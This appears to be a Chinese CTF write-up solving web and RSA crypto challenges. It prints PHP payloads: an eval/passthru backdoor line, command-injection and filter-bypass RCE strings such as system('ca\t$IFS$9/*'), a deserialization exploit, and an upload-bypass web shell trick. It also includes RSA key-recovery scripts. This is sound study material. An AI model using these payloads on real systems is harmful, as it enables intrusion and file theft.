emmm，没时间打，赛后自己做了一部分，跟wp复现了一部分
很简单，虽然F12和右键被禁用，连续按两次F12即可
根据表情对应的字母，翻译出
if (isset ($_GET ['👽' ])) { eval (passmhru ($_GET ['👽' ])); };
passmhru函数也类似system函数passthru与system的区别，passthru直接将结果输出到浏览器，不需要使用echo或return来查看结果，不返回任何值，且其可以输出二进制，比如图像数据
简单命令注入，用分号隔断命令
空格绕过、无字母、无回显rce
md5绕过，读文件序列化
反序列化
<?php highlight_file (__FILE__ );error_reporting (0 );class Clazz public $a ; public $b ; public function __wakeup ( { $this ->a = file_get_contents ("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php" ); } public function __destruct ( { echo $this ->b; } } @unserialize ($_POST ['data' ]); ?>
这里利用php引用，使得a=b
<?php class Clazz public $a ; public $b ; } $q = new Clazz ();$q ->a=&$q ->b;echo serialize ($q );?>
改UA头
改referer(根据local man 推断且经过尝试)为本地
文件包含，php伪协议
<?php if (isset ($_GET ['word' ])){ $word = $_GET ['word' ]; if (preg_match ("/cat|tac|tail|more|head|nl|flag|less| /" , $word )){ die ("nonono." ); } $word = str_replace ("?" , "" , $word ); eval ("?>" . $word ); }else { highlight_file (__FILE__ ); }
?>闭合，此时我们需输入<?php,可见？被过滤，我们借助<script></script>标签
<script%0 alanguage='php' >system ('ca\t$IFS$9/*' );</script>
对文件内容长度进行了限制(长度15)，以及限定文件格式F12重发包，修改Content-Type: image/jpegxxx.pht，最短命令执行
url/uploads/xxx(重发)
p=1458769258361 q=4556983871563 e=17 直接求逆元 d=gmpy2.invert(e,(p-1 )*(q-1 ))
不 会 吧 ？ 不 会 吧 ？ 不 会 吧 ？ 不 会 吧 ？ 就 这 ¿ 不 会 吧 ？
直接阴阳怪气解码https://mmdjiji.gitee.io/yygq.js/
c=90362297576572826064831133206230135349790392078780406000643496612200873754835039374184323808342127071833274981191134125413478105835272238356352724573228797863805124195170088819735610736936895478614898105848968069280022022112207095140266709372221090586917729998024205978412679448008696923580889787529663283314 p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 q=11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407 e=65537
from Crypto.Util.number import *import gmpy2n = p*q d = inverse(e,(p-1 )*(q-1 )) print (long_to_bytes(pow (c,d,n)))
dp泄露
from Crypto.Util.number import *import gmpy2n = e = c = dp = for i in range (1 ,e): if (dp*e-1 )%i == 0 : if (n%((dp*e-1 )//i+1 )) == 0 : p = (dp*e-1 )//i+1 q = n // p phi_n = (p-1 )*(q-1 ) d = gmpy2.invert(e,phi_n) m = pow (c,d,n) print (long_to_bytes(m))
共享素数
from Crypto.Util.number import *import gmpy2n1= 18680935400842120133090782991548100098299141114788036098274292600814484762178879421175852824971602717084073867867453382415307589970440719890918576225495401632854107018246844209327118177917122236073227158593514362850629722223228335334773008682775987859295083444638923726449899310854161394586430943134469559429878238769266114132469166535509030877235272476877484918308883799496627699789051809542538091061550107526246728583019140703765888157806778516567048103700384849598143249322109207879381251223776896702362630437178664824125387477797876186939235800859102380783259361745143574493440078787931593394188675093506492640857 n2= 16308523133405725830120564525574438512803584148781960516042054284309437381876822602134185065101371986717984978566359252072738078020261823966208153922611063201149105749778596739692554295573408850719208215646167050188830459343054219856901871953140988948482577813730729085764541988120049026971705499798003225755018687242522370406495429425494022876627543617474873929054728724093702291448754458748923218635900061398716191201846139296921753782690468189409101899415028480878296408735247604084627019116374444335509072590669239349212479592499426230525792270750612371117196200786891891430446212938482959351978202358044864822577 c1= 534518909595318304521410713148076850830155521838755402438490325620155197496935820831936109252194297244161393310730073882257949954815312409974998733265641354273665213856408848764503848122264972023143474923678585167025591255034150826271791019266426616987355463111138963331008761826310757292765842789380409826387579098421126952331558360737102888876551724241978020305977032047901621477384392409864427091911872691182528938458750707982564581322551517287491916691010743390992018974168703956622998928457142606354825714033609199676987795174032254878017883605565760275857658822315970522114838062469258676628619381342357632179 c2= 10248394002302905069278122013496854496130190499518622376819239887579692634750808499513497018453473232140518824608976734237637842228035017757831938865937098325684711995382081489403971465596662585196007547659143066184546400992333479193424580690897692586491475768279754939199148642035267049092880715299621206567123356521609120801306358100326600900326310677054810032471472266402660807205675696110133573150125117412696328434523507708110949743705536889950671778501402435457354251761692098671783596194430798692942013503015764266392551048702428063161786512924608239609802040937400619384828550050291094616346317726139970219621 p = 161792852262585784240210614943673858364435848078458892793835734301847476262357245115185358270538726363219476877287799286220761527702213530458749144905775453645889968558781952949356764633708703117094081955706055636505638238383861546133003679992033912148071189936673239027096959214554654922959747089484789298237 q1 = n1//p q2 = n2//p e = 65537 d1=inverse(e,(p-1 )*(q1-1 )) d2=inverse(e,(p-1 )*(q2-1 )) print (long_to_bytes(pow (c1,d1,n1))+long_to_bytes(pow (c2,d2,n2)))
Wiener攻击
from Crypto.Util.number import *from gmpy2 import *class ContinuedFraction (): def __init__ (self,numerator,denumerator ): self.numberlist = [] self.fractionlist = [] self.GenerateNumberList(numerator,denumerator) self.GenerateFractionList() def GenerateNumberList (self,numerator,denumerator ): while numerator != 1 : quotient = numerator//denumerator remainder = numerator%denumerator self.numberlist.append(quotient) numerator = denumerator denumerator = remainder def GenerateFractionList (self ): self.fractionlist.append([self.numberlist[0 ],1 ]) for i in range (1 ,len (self.numberlist)): numerator = self.numberlist[i] denumerator = 1 for j in range (i): temp = numerator numerator = denumerator+numerator*self.numberlist[i-j-1 ] denumerator = temp self.fractionlist.append([numerator,denumerator]) n = 12238605063252292170613110607692779326628090745751955692266649177882959231822580682548279800443278979485092243645806337103841086023159482786712759291169541633901936290854044069486201989034158882661270017305064348254800318759062921744741432214818915527537124001063995865927527037625277330117588414586505635959411443039463168463608235165929831344586283875119363703480280602514451713723663297066810128769907278246434745483846869482536367912810637275405943566734099622063142293421936734750356828712268385319217225803602442033960930413469179550331907541244416573641309943913383658451409219852933526106735587605884499707827 e = 11850552481503020257392808424743510851763548184936536180317707155841959788151862976445957810691568475609821000653594584717037528429828330763571556164988619635320288125983463358648887090031957900011546300841211712664477474767941406651977784177969001025954167441377912326806132232375497798238928464025466905201977180541053129691501120197010080001677260814313906843670652972019631997467352264392296894192998971542816081534808106792758008676039929763345402657578681818891775091140555977382868531202964486261123748663752490909455324860302967636149379567988941803701512680099398021640317868259975961261408500449965277690517 c = 4218884541887711839568615416673923480889604461874475071333225389075770098726337046768413570546617180777109293884545400260353306419150066928226964662256930702466709992997796154415790565112167663547017839870351167884417142819504498662037048412313768450136617389372395690363188005647619061128497371121168347810294424378348301835826084732747005110258557662466626720961279087145559906371505117097599774430970980355531235913439823966628008554872896820907555353892843539526041019103819804854883231421963308265517622470779089941078841902464033685762524196275032288319744157255628189204988632871276637699312750636348750883054 a = ContinuedFraction(e,n) for k,d in a.fractionlist: s = long_to_bytes(pow (c,d,n)) try : print (s.decode()) except Exception: pass
看上去很复杂，根据c的位数以及flag的位数，e=3,小明文攻击，我们直接对c开3次方即可，一开始还真没看出来，傻傻的在想。。。。
from Crypto.Util.number import *from gmpy2 import *c = 42336544435252811021843650684098817755849747192874682997240960601474927692351510022965782272751339319782351146077580929125 print (long_to_bytes(gmpy2.iroot(c,3 )[0 ]))
def keygen (nbit = 64 ): while True : k = getRandomNBitInteger(nbit) p = k**6 + 7 *k**4 - 40 *k**3 + 12 *k**2 - 114 *k + 31377 q = k**5 - 8 *k**4 + 19 *k**3 - 313 *k**2 - 14 *k + 14011 if isPrime(p) and isPrime(q): return p, q
polyRSA——解单变量多项式方程
n = 1901485114700245088118015176838411045645808657633721129158322425051110390237801115516544893309422501851747092251796770953642000579931231478667887589988786560834446696408732292786254192492281586457284980263740183 k = var('k' ) p = k**6 + 7 *k**4 - 40 *k**3 + 12 *k**2 - 114 *k + 31377 q = k**5 - 8 *k**4 + 19 *k**3 - 313 *k**2 - 14 *k + 14011 polys = (p * q == n) print (solve(polys, k))
import gmpy2from Crypto.Util.number import *n = 1901485114700245088118015176838411045645808657633721129158322425051110390237801115516544893309422501851747092251796770953642000579931231478667887589988786560834446696408732292786254192492281586457284980263740183 enc = 1199361436656854951826843585559905358018072076349745598865984504434921942249797269971584270541920348511243191511578321283455075109027873358983934024677982086699270397304699932717071144314481599892879445599516848 k = 13070168166947995246 p = k**6 + 7 *k**4 - 40 *k**3 + 12 *k**2 - 114 *k + 31377 q = k**5 - 8 *k**4 + 19 *k**3 - 313 *k**2 - 14 *k + 14011 d = inverse(31337 , (p-1 )*(q-1 )) print (long_to_bytes((pow (enc, d, n))))
埃塞克，即ASCII，此处的ROT，我们试出是ROT47
hint1=pow (2023 *p+2022 *q,1919 ,n) hint2=pow (2022 *p+2023 *q,9191 ,n)
关键在于怎么利用它来求出pq1919跟9191又有一定的关联pqn=p*q,指数运算等
import gmpy2from Crypto.Util.number import *h1= 83535799515204730191288403119559179388147974968301357768644756769205396635068662150926873512812305514469213626273460486537390422570056287512841114712846420160416446291128064734960979586229744062965998582728378025151822479630618024804808407804317029367335421715125562402059266983021662398390585435529976586654 h2= 14402204438484882372730843813561914135941866642278909172674395293274736617425618184831446215507756031454895377588951726822765439585979555636320832177929472057402274116190878688601329765374509467243968967279090492272317903230101551317377700802837187081510381677262879617929177970455244249498674083943925477229 n= 94120719816617297967197808458007462810449143149204454740678593087096770130918870563878599847276923902207042790106345400843990455347835029220453217996810995363105274873857381469314548191574754245357568090646094043040797653858225598519876785530143007788084656262253002478643994943076851585839631209338814367691 c= 84244594789418833202484965138308516535996015903654462304986953156471594657993252593373963514364258027091543394305491354187806441313428473670956684437253991594327692679733432489342255718685303997647293213324463025120804679847465190496542879161344985402542539184706559207299026102682674060562738496314731555616 e = 65537 k = 19 * 101 * 91 h5 = pow (h1,91 ,n)*pow (2022 ,k,n)-pow (h2,19 ,n)*pow (2023 ,k,n) h6 = pow (h1,91 ,n)*pow (2023 ,k,n)-pow (h2,19 ,n)*pow (2022 ,k,n) k1 = inverse(pow (2022 ,2 *k,n)-pow (2023 ,2 *k,n), n) k2 = inverse(pow (2023 ,2 *k,n)-pow (2022 ,2 *k,n), n) h3 = h5 * k1 % n h4 = h6 * k2 % n q = gmpy2.gcd(h3, n) p = gmpy2.gcd(h4, n) phi = (p-1 ) * (q-1 ) d = inverse(e, phi) m = pow (c,d,n) print (long_to_bytes(m))
hint = pow (2022 * p + 2023 , q, n) p = gmpy2.gcd(n,hint-pow (2023 ,n,n))
( 2022 p + 2023 ) q = k n + h (2022p+2023)^{q}=kn+h ( 2 0 2 2 p + 2 0 2 3 ) q = k n + h 两边同时模 p , 二项式定理得到： h ≡ 202 3 q m o d p 两边同时模p,二项式定理得到：h\equiv2023^{q}mod\ p 两 边 同 时 模 p , 二 项 式 定 理 得 到 ： h ≡ 2 0 2 3 q m o d p 202 3 n = 202 3 p q ≡ 202 3 q m o d p 2023^{n}=2023^{pq}\equiv2023^{q}mod\ p 2 0 2 3 n = 2 0 2 3 p q ≡ 2 0 2 3 q m o d p k p = h − 202 3 n m o d n kp=h-2023^{n}mod\ n k p = h − 2 0 2 3 n m o d n p = g c d ( n , k p ) p=gcd(n,kp) p = g c d ( n , k p )
类似题目还有h 1 = ( 2020 p 1 + q 1 ) 202020 m o d n 1 h1=(2020p1+q1)^{202020}mod\ n1 h 1 = ( 2 0 2 0 p 1 + q 1 ) 2 0 2 0 2 0 m o d n 1 h 2 = ( 2021 p 1 + 212121 ) q 1 m o d n 1 h2=(2021p1+212121)^{q1}mod\ n1 h 2 = ( 2 0 2 1 p 1 + 2 1 2 1 2 1 ) q 1 m o d n 1
h 1 ∗ 202 1 202020 = ( 2020 p 1 + q 1 ) 202020 ∗ 202 1 202020 ≡ ( 2020 ∗ 2021 ∗ p 1 ) 202020 m o d q 1 二项式定理展开 h1*2021^{202020}=(2020p1+q1)^{202020}*2021^{202020}\equiv(2020*2021*p1)^{202020}mod\ q1\ 二项式定理展开 h 1 ∗ 2 0 2 1 2 0 2 0 2 0 = ( 2 0 2 0 p 1 + q 1 ) 2 0 2 0 2 0 ∗ 2 0 2 1 2 0 2 0 2 0 ≡ ( 2 0 2 0 ∗ 2 0 2 1 ∗ p 1 ) 2 0 2 0 2 0 m o d q 1 二 项 式 定 理 展 开 ( 2020 ∗ ( h 2 − 212121 ) ) 202020 ≡ ( 2020 ∗ 2021 ∗ p 1 ) 202020 m o d q 1 二项式展开，同时模 q 1 即可 (2020*(h2-212121))^{202020}\equiv(2020*2021*p1)^{202020}mod\ q1\ 二项式展开，同时模q1即可 ( 2 0 2 0 ∗ ( h 2 − 2 1 2 1 2 1 ) ) 2 0 2 0 2 0 ≡ ( 2 0 2 0 ∗ 2 0 2 1 ∗ p 1 ) 2 0 2 0 2 0 m o d q 1 二 项 式 展 开 ， 同 时 模 q 1 即 可
q1 = gcd(n1,(h1*pow (2021 ,202020 ,n1))%n1-(pow (2020 *(h2-212121 ),202020 ,n1))%n1)
h 3 = ( 2020 p 2 + 2021 q 2 ) 202020 m o d n 2 h3=(2020p2+2021q2)^{202020}mod\ n2 h 3 = ( 2 0 2 0 p 2 + 2 0 2 1 q 2 ) 2 0 2 0 2 0 m o d n 2 h 4 = ( 2021 p 2 + 2020 q 2 ) 212121 m o d n 2 h4=(2021p2+2020q2)^{212121}mod\ n2 h 4 = ( 2 0 2 1 p 2 + 2 0 2 0 q 2 ) 2 1 2 1 2 1 m o d n 2 g c d ( 202020 , 212121 ) = 10101 gcd(202020,212121)=10101 g c d ( 2 0 2 0 2 0 , 2 1 2 1 2 1 ) = 1 0 1 0 1 k = 10101 ∗ 20 ∗ 21 k=10101*20*21 k = 1 0 1 0 1 ∗ 2 0 ∗ 2 1 h 3 21 ∗ 202 0 k ≡ ( 2020 ∗ 2021 ∗ q 2 + 202 0 2 ∗ p 2 ) k m o d n 2 h3^{21}*2020^{k}\equiv(2020*2021*q2+2020^{2}*p2)^{k}mod\ n2 h 3 2 1 ∗ 2 0 2 0 k ≡ ( 2 0 2 0 ∗ 2 0 2 1 ∗ q 2 + 2 0 2 0 2 ∗ p 2 ) k m o d n 2 h 4 22 ∗ 202 1 k ≡ ( 2020 ∗ 2021 ∗ q 2 + 202 1 2 ∗ p 2 ) k m o d n 2 h4^{22}*2021^{k}\equiv(2020*2021*q2+2021^{2}*p2)^{k}mod\ n2 h 4 2 2 ∗ 2 0 2 1 k ≡ ( 2 0 2 0 ∗ 2 0 2 1 ∗ q 2 + 2 0 2 1 2 ∗ p 2 ) k m o d n 2 p 2 k ≡ ( h 3 21 ∗ 202 0 k − h 4 20 ∗ 202 1 k ) ( 202 0 2 − 202 1 2 ) − 1 m o d n 2 p2^{k}\equiv(h3^{21}*2020^{k}-h4^{20}*2021^{k})(2020^{2}-2021^{2})^{-1}mod\ n2 p 2 k ≡ ( h 3 2 1 ∗ 2 0 2 0 k − h 4 2 0 ∗ 2 0 2 1 k ) ( 2 0 2 0 2 − 2 0 2 1 2 ) − 1 m o d n 2 同理可得 q 2 同理可得q2 同 理 可 得 q 2
a1 = pow (h3,21 ,n2)*pow (2020 ,k,n2)-pow (h4,20 ,n2)*pow (2021 ,k,n2) a2 = pow (h3,20 ,n2)*pow (2021 ,k,n2)-pow (h4,21 ,n2)*pow (2020 ,k,n2) k1 = inverse(pow (2020 ,2 *k,n2)-pow (2021 ,2 *k,n2), n2) k2 = inverse(pow (2021 ,2 *k,n2)-pow (2020 ,2 *k,n2), n2) p2k = a1 * k1 % n2 q2k = a2 * k2 % n2 p = gmpy2.gcd(p2k, n2) q = gmpy2.gcd(q2k, n2)
FNY CQ HLQSEPNVJ 提示：Keyword
很明显，关键字密码Vigenere了Vigenere的秘钥是，LOSTDREAMVigenere-decode
base64解码得到，8TwsNQLAJ3d7BLjDiSmkaXLqIxkdZ7INCUdd95ECbTHMUqzQBOasxj34kltI0=base64编码的组成，可能以=结尾，最大的特征为，以U2FsdGVkX1开头！！！U2FsdGVkX18TwsNQLAJ3d7BLjDiSmkaXLqIxkdZ7INCUdd95ECbTHMUqzQBOasxj34kltI0=
